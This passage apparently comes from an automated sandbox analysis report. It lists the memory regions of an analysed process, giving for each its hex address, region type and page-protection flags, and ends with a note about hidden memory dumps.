2A19000
trusted library allocation
page read and write
3CF0000
heap
page read and write
533000
heap
page read and write
2C30000
heap
page read and write
3D2F000
stack
page read and write
6010000
heap
page read and write
AD0000
trusted library allocation
page read and write
400000
system
page execute and read and write
10000
heap
page read and write
597000
heap
page read and write
4A5E000
stack
page read and write
4FE000
heap
page read and write
4FE000
heap
page read and write
457000
heap
page read and write
389000
heap
page read and write
270000
trusted library allocation
page read and write
C60000
heap
page read and write
2E7000
heap
page read and write
2D77000
heap
page read and write
475000
heap
page read and write
5DDE000
stack
page read and write
4A0000
trusted library allocation
page read and write
A20000
heap
page read and write
5B57000
stack
page read and write
2D6A000
heap
page read and write
2D57000
heap
page read and write
3850000
heap
page read and write
440D000
stack
page read and write
2AA6000
trusted library allocation
page read and write
47C000
heap
page read and write
4BB1000
heap
page read and write
2D41000
heap
page read and write
4B10000
heap
page read and write
6495000
direct allocation
page execute and read and write
372000
heap
page read and write
4DB000
heap
page read and write
398F000
stack
page read and write
2AE000
heap
page read and write
34F000
stack
page read and write
202F000
stack
page read and write
10B0000
heap
page read and write
4A7F000
stack
page read and write
2E7000
trusted library allocation
page read and write
218000
trusted library allocation
page read and write
3C50000
heap
page read and write
49D000
heap
page read and write
2A60000
heap
page read and write
630000
heap
page read and write
3E0000
heap
page read and write
4ADE000
stack
page read and write
21FA000
trusted library allocation
page read and write
10000000
direct allocation
page read and write
2C3E000
stack
page read and write
AE0000
trusted library allocation
page read and write
B0000
trusted library section
page read and write
717000
heap
page read and write
2BCA000
heap
page read and write
4D7000
heap
page read and write
130000
heap
page read and write
7C2000
heap
page read and write
3ACE000
stack
page read and write
13B000
stack
page read and write
10000
heap
page read and write
2B56000
heap
page read and write
2B2A000
heap
page read and write
9268000
trusted library allocation
page read and write
92C1000
trusted library allocation
page read and write
31E0000
heap
page read and write
454E000
stack
page read and write
5B0000
heap
page read and write
A4C000
trusted library allocation
page read and write
2A0000
heap
page read and write
BCB000
stack
page read and write
5090000
heap
page read and write
353000
stack
page read and write
4B8000
heap
page read and write
2B4E000
heap
page read and write
1AA000
trusted library allocation
page read and write
BB0000
heap
page read and write
56E000
stack
page read and write
350000
heap
page read and write
51D000
stack
page read and write
2B90000
heap
page read and write
236E000
stack
page read and write
61FE000
stack
page read and write
3310000
trusted library allocation
page read and write
525000
heap
page read and write
4FBF000
heap
page read and write
248C000
stack
page read and write
380000
heap
page read and write
5BBE000
stack
page read and write
2B22000
heap
page read and write
2AF0000
heap
page read and write
BC0000
heap
page read and write
4D7000
heap
page read and write
2C3B000
heap
page read and write
2701000
trusted library allocation
page read and write
2C43000
heap
page read and write
37ED000
stack
page read and write
13A000
trusted library allocation
page read and write
2D4F000
heap
page read and write
35C0000
heap
page read and write
21E000
stack
page read and write
2D8D000
heap
page read and write
12C000
stack
page read and write
2C38000
heap
page read and write
2E9000
trusted library allocation
page read and write
1000000
trusted library allocation
page read and write
4BE000
heap
page read and write
A1E000
stack
page read and write
3F2000
trusted library allocation
page read and write
8295000
direct allocation
page execute and read and write
2D44000
heap
page read and write
2D3F000
stack
page read and write
735000
heap
page read and write
2A2F000
stack
page read and write
2D57000
heap
page read and write
4AD000
heap
page read and write
419000
trusted library allocation
page read and write
4F53000
heap
page read and write
1C0000
heap
page read and write
788000
heap
page read and write
26AF000
stack
page read and write
87E000
stack
page read and write
E4000
trusted library allocation
page read and write
23AD000
stack
page read and write
4CCE000
stack
page read and write
519000
heap
page read and write
3FF000
stack
page read and write
273F000
stack
page read and write
41D000
heap
page read and write
6320000
heap
page read and write
2900000
trusted library allocation
page read and write
473000
system
page execute and read and write
206000
heap
page read and write
440000
heap
page read and write
2B31000
heap
page read and write
510000
heap
page read and write
7CF000
heap
page read and write
485000
heap
page read and write
4B2000
heap
page read and write
570000
heap
page read and write
E3000
trusted library allocation
page execute and read and write
1EC0000
direct allocation
page read and write
D48000
heap
page read and write
22C000
stack
page read and write
7BD000
heap
page read and write
4B2E000
stack
page read and write
5080000
heap
page read and write
2D7C000
heap
page read and write
37D000
heap
page read and write
2740000
trusted library allocation
page read and write
330000
heap
page read and write
4E9B000
heap
page read and write
29BA000
trusted library allocation
page read and write
2A32000
trusted library allocation
page read and write
489000
trusted library allocation
page read and write
213F000
stack
page read and write
4BE000
heap
page read and write
152000
trusted library allocation
page read and write
2B36000
heap
page read and write
524000
heap
page read and write
2B52000
heap
page read and write
2E0000
trusted library allocation
page read and write
1020000
trusted library allocation
page read and write
4AE000
heap
page read and write
2D69000
heap
page read and write
1A0000
trusted library allocation
page read and write
6DE000
stack
page read and write
124000
trusted library allocation
page read and write
4580000
trusted library allocation
page execute and read and write
515000
heap
page read and write
4420000
trusted library allocation
page read and write
8B0000
heap
page read and write
3275000
heap
page read and write
4F6E000
heap
page read and write
2E38000
heap
page read and write
470000
heap
page read and write
BD0000
trusted library allocation
page read and write
2B21000
heap
page read and write
20000
heap
page read and write
1D00000
heap
page read and write
33A000
stack
page read and write
4B4000
heap
page read and write
926C000
trusted library allocation
page read and write
240000
heap
page read and write
2DBF000
stack
page read and write
8BF000
heap
page read and write
5DAE000
stack
page read and write
4D7000
heap
page read and write
4FCB000
stack
page read and write
880000
trusted library allocation
page read and write
37F0000
heap
page read and write
2BC5000
heap
page read and write
4ECD000
heap
page read and write
1BC000
stack
page read and write
43B0000
trusted library allocation
page read and write
437F000
stack
page read and write
3D0000
heap
page read and write
3E0000
heap
page read and write
656000
heap
page read and write
1FCE000
stack
page read and write
2A70000
trusted library allocation
page read and write
4230000
trusted library allocation
page read and write
40F000
heap
page read and write
28FE000
stack
page read and write
C5F000
stack
page read and write
18A000
stack
page read and write
89000
stack
page read and write
2B7B000
heap
page read and write
2E27000
heap
page read and write
1EB0000
heap
page read and write
32D0000
trusted library allocation
page read and write
2C4B000
heap
page read and write
2B0E000
heap
page read and write
7B5000
heap
page read and write
2D5C000
heap
page read and write
2BB8000
heap
page read and write
4550000
trusted library allocation
page read and write
2C4A000
heap
page read and write
510000
heap
page read and write
990000
trusted library allocation
page read and write
D00000
trusted library allocation
page read and write
520000
heap
page read and write
520000
heap
page read and write
450000
heap
page read and write
48D0000
trusted library allocation
page read and write
43B0000
trusted library allocation
page read and write
51EE000
heap
page read and write
470000
trusted library allocation
page read and write
507D000
stack
page read and write
6F7000
heap
page read and write
4DB000
heap
page read and write
A40000
heap
page read and write
2C7000
heap
page read and write
2E27000
heap
page read and write
4F3E000
stack
page read and write
52C000
heap
page read and write
503D000
stack
page read and write
51B5000
heap
page read and write
8A2000
heap
page read and write
2A74000
trusted library allocation
page read and write
3420000
heap
page read and write
3279000
heap
page read and write
810000
trusted library allocation
page execute and read and write
A50000
trusted library allocation
page read and write
2B25000
heap
page read and write
250E000
stack
page read and write
4340000
trusted library allocation
page read and write
2B1A000
heap
page read and write
2B0000
remote allocation
page read and write
2701000
trusted library allocation
page read and write
542000
heap
page read and write
34D000
heap
page read and write
4BE000
heap
page read and write
2D7E000
stack
page read and write
4AAE000
stack
page read and write
2B0000
remote allocation
page read and write
460000
trusted library allocation
page execute and read and write
4B2000
heap
page read and write
A9E000
stack
page read and write | page guard
230000
heap
page execute and read and write
2DC1000
heap
page read and write
2C3E000
heap
page read and write
2C4B000
heap
page read and write
43B0000
trusted library allocation
page read and write
37DE000
stack
page read and write
4300000
heap
page read and write
7FF000
heap
page read and write
193000
trusted library allocation
page execute and read and write
264000
heap
page read and write
ED000
trusted library allocation
page execute and read and write
2705000
trusted library allocation
page read and write
5CC0000
heap
page read and write
2B0E000
stack
page read and write
1C2000
trusted library allocation
page read and write
3509000
trusted library allocation
page read and write
2C7000
heap
page read and write
54B000
heap
page read and write
510000
heap
page read and write
2D4F000
heap
page read and write
1F0000
heap
page read and write
5CD1000
heap
page read and write
3020000
heap
page read and write
A9F000
stack
page read and write
4F40000
heap
page read and write
491000
heap
page read and write
21C1000
trusted library allocation
page read and write
375C000
trusted library allocation
page read and write
2BB8000
heap
page read and write
9F0000
trusted library allocation
page read and write
2B5B000
heap
page read and write
1FD0000
heap
page read and write
2E25000
heap
page read and write
2DC0000
heap
page read and write
2E37000
heap
page read and write
283B000
trusted library allocation
page read and write
10000
heap
page read and write
47F000
stack
page read and write
29C7000
trusted library allocation
page read and write
226000
heap
page read and write
170000
trusted library section
page read and write
533000
heap
page read and write
2E33000
heap
page read and write
797000
heap
page read and write
2D43000
heap
page read and write
29C3000
trusted library allocation
page read and write
41B000
system
page execute and read and write
410000
trusted library allocation
page execute and read and write
36DF000
heap
page read and write
4B3000
heap
page read and write
2DF9000
heap
page read and write
2E000
heap
page read and write
B1F000
stack
page read and write
2BC1000
heap
page read and write
602D000
stack
page read and write
298F000
stack
page read and write
49ED000
trusted library allocation
page read and write
200000
trusted library allocation
page execute and read and write
2B93000
heap
page read and write
4340000
trusted library allocation
page read and write
9DF000
stack
page read and write
7CA000
heap
page read and write
10000
heap
page read and write
2E37000
heap
page read and write
194000
trusted library allocation
page read and write
26B000
stack
page read and write
2A00000
trusted library allocation
page read and write
373F000
trusted library allocation
page read and write
730000
heap
page read and write
7B0000
trusted library allocation
page read and write
533000
heap
page read and write
5094000
heap
page read and write
2A13000
trusted library allocation
page read and write
4D0000
trusted library allocation
page read and write
2E5E000
stack
page read and write
4F84000
heap
page read and write
19D000
trusted library allocation
page execute and read and write
1F0000
trusted library allocation
page execute and read and write
33C000
stack
page read and write
22F000
heap
page read and write
4D1000
heap
page read and write
40D000
heap
page read and write
79D000
heap
page read and write
533000
heap
page read and write
4220000
trusted library allocation
page read and write
10000
heap
page read and write
4E0000
trusted library allocation
page read and write
43B0000
trusted library allocation
page read and write
10000
heap
page read and write
2FFC000
stack
page read and write
51B000
heap
page read and write
3E9F000
stack
page read and write
460000
trusted library allocation
page read and write
36CF000
heap
page read and write
2D57000
heap
page read and write
2C50000
heap
page read and write
57A000
heap
page read and write
4B90000
heap
page read and write
51B000
heap
page read and write
B52000
trusted library allocation
page read and write
2C34000
heap
page read and write
5100000
heap
page read and write
5E8E000
stack
page read and write | page guard
BFD000
stack
page read and write
2B74000
heap
page read and write
7EB000
heap
page read and write
7C4000
heap
page read and write
C10000
trusted library allocation
page read and write
2F6000
heap
page read and write
512000
heap
page read and write
474000
remote allocation
page execute and read and write
26A000
trusted library allocation
page read and write
860000
heap
page read and write
3EF0000
trusted library allocation
page read and write
2DFA000
heap
page read and write
5D9F000
stack
page read and write
420000
trusted library allocation
page read and write
3D5D000
stack
page read and write
4DB000
heap
page read and write
23C000
stack
page read and write
8AF000
heap
page read and write
5C64000
heap
page read and write
270000
trusted library allocation
page read and write
E7000
stack
page read and write
533000
heap
page read and write
4BCF000
stack
page read and write
2BB0000
heap
page read and write
533000
heap
page read and write
43B0000
trusted library allocation
page read and write
2BBD000
heap
page read and write
1BA000
trusted library allocation
page execute and read and write
980000
heap
page execute and read and write
51CD000
heap
page read and write
106F000
stack
page read and write
A5D000
heap
page read and write
440000
heap
page execute and read and write
11F0000
direct allocation
page execute and read and write
5C3E000
stack
page read and write
2D57000
heap
page read and write
32D0000
trusted library allocation
page read and write
2B9F000
heap
page read and write
4D7000
heap
page read and write
52B000
stack
page read and write
7951000
trusted library allocation
page read and write
2A8E000
stack
page read and write
36F000
heap
page read and write
260000
trusted library allocation
page read and write
1066000
heap
page execute and read and write
226000
stack
page read and write
517000
heap
page read and write
2D46000
heap
page read and write
3910000
heap
page read and write
20000
heap
page read and write
1DEE000
stack
page read and write
150000
trusted library allocation
page read and write
8A0000
trusted library allocation
page read and write
3E7000
heap
page read and write
29B1000
trusted library allocation
page read and write
608000
heap
page read and write
415D000
stack
page read and write
207E000
heap
page read and write
43B0000
heap
page read and write
54C000
heap
page read and write
4B94000
heap
page read and write
2E9000
heap
page read and write
3EF0000
trusted library allocation
page read and write
A30000
heap
page read and write
4BE000
heap
page read and write
400000
system
page execute and read and write
867000
heap
page read and write
710000
heap
page read and write
6180000
heap
page read and write
2BE0000
heap
page read and write
92AC000
trusted library allocation
page read and write
4EAE000
heap
page read and write
24F000
stack
page read and write
2BC000
stack
page read and write
7F6000
heap
page read and write
3729000
trusted library allocation
page read and write
2A0000
heap
page read and write
D2F000
stack
page read and write
926E000
trusted library allocation
page read and write
337000
stack
page read and write
247000
stack
page read and write
48C0000
trusted library allocation
page read and write
3098000
heap
page read and write
8B6000
heap
page read and write
49E8000
trusted library allocation
page read and write
73A000
heap
page read and write
5F7000
heap
page read and write
E40000
heap
page read and write
500000
trusted library allocation
page read and write
36E4000
heap
page read and write
2AEE000
stack
page read and write
4430000
trusted library allocation
page execute and read and write
4F07000
heap
page read and write
1D62000
heap
page read and write
7151000
trusted library allocation
page read and write
31E9000
trusted library allocation
page read and write
449000
heap
page read and write
51B9000
heap
page read and write
43B0000
trusted library allocation
page read and write
2D7B000
heap
page read and write
4FCC000
heap
page read and write
4AED000
stack
page read and write
C40000
trusted library allocation
page execute and read and write
C5C000
trusted library allocation
page read and write
411F000
stack
page read and write
4D4F000
stack
page read and write
110000
trusted library allocation
page read and write
4A90000
trusted library allocation
page execute and read and write
A40000
trusted library allocation
page read and write
89C000
heap
page read and write
2BBE000
heap
page read and write
283B000
trusted library allocation
page read and write
66A000
heap
page read and write
2D4F000
heap
page read and write
218E000
stack
page read and write
3B0000
heap
page read and write
3B2F000
stack
page read and write
5E73000
trusted library allocation
page read and write
4B8E000
stack
page read and write
4D0E000
stack
page read and write
790000
heap
page read and write
5B9000
heap
page read and write
60CE000
stack
page read and write
47D000
heap
page read and write
B2D000
stack
page read and write
637000
heap
page read and write
4F4E000
stack
page read and write
2C5F000
heap
page read and write
50A2000
heap
page read and write
3275000
heap
page read and write
26F000
heap
page read and write
2D42000
heap
page read and write
285000
trusted library allocation
page execute and read and write
4A6E000
stack
page read and write
52C000
heap
page read and write
2D3E000
stack
page read and write
5E8F000
stack
page read and write
630000
heap
page read and write
3737000
trusted library allocation
page read and write
AB0000
direct allocation
page read and write
2DF9000
heap
page read and write
BE6000
heap
page execute and read and write
180000
heap
page read and write
3737000
trusted library allocation
page read and write
A80000
trusted library allocation
page read and write
43B0000
trusted library allocation
page read and write
348000
stack
page read and write
12D000
trusted library allocation
page execute and read and write
81CF000
stack
page read and write
3FDF000
stack
page read and write
BBE000
stack
page read and write
4B0000
trusted library allocation
page read and write
2D57000
heap
page read and write
B30000
trusted library allocation
page execute and read and write
428B000
stack
page read and write
B50000
trusted library allocation
page read and write
236000
stack
page read and write
5F7E000
stack
page read and write
41D0000
heap
page read and write
2C1F000
stack
page read and write
4FAE000
heap
page read and write
There are 960 hidden memdumps, click here to show them.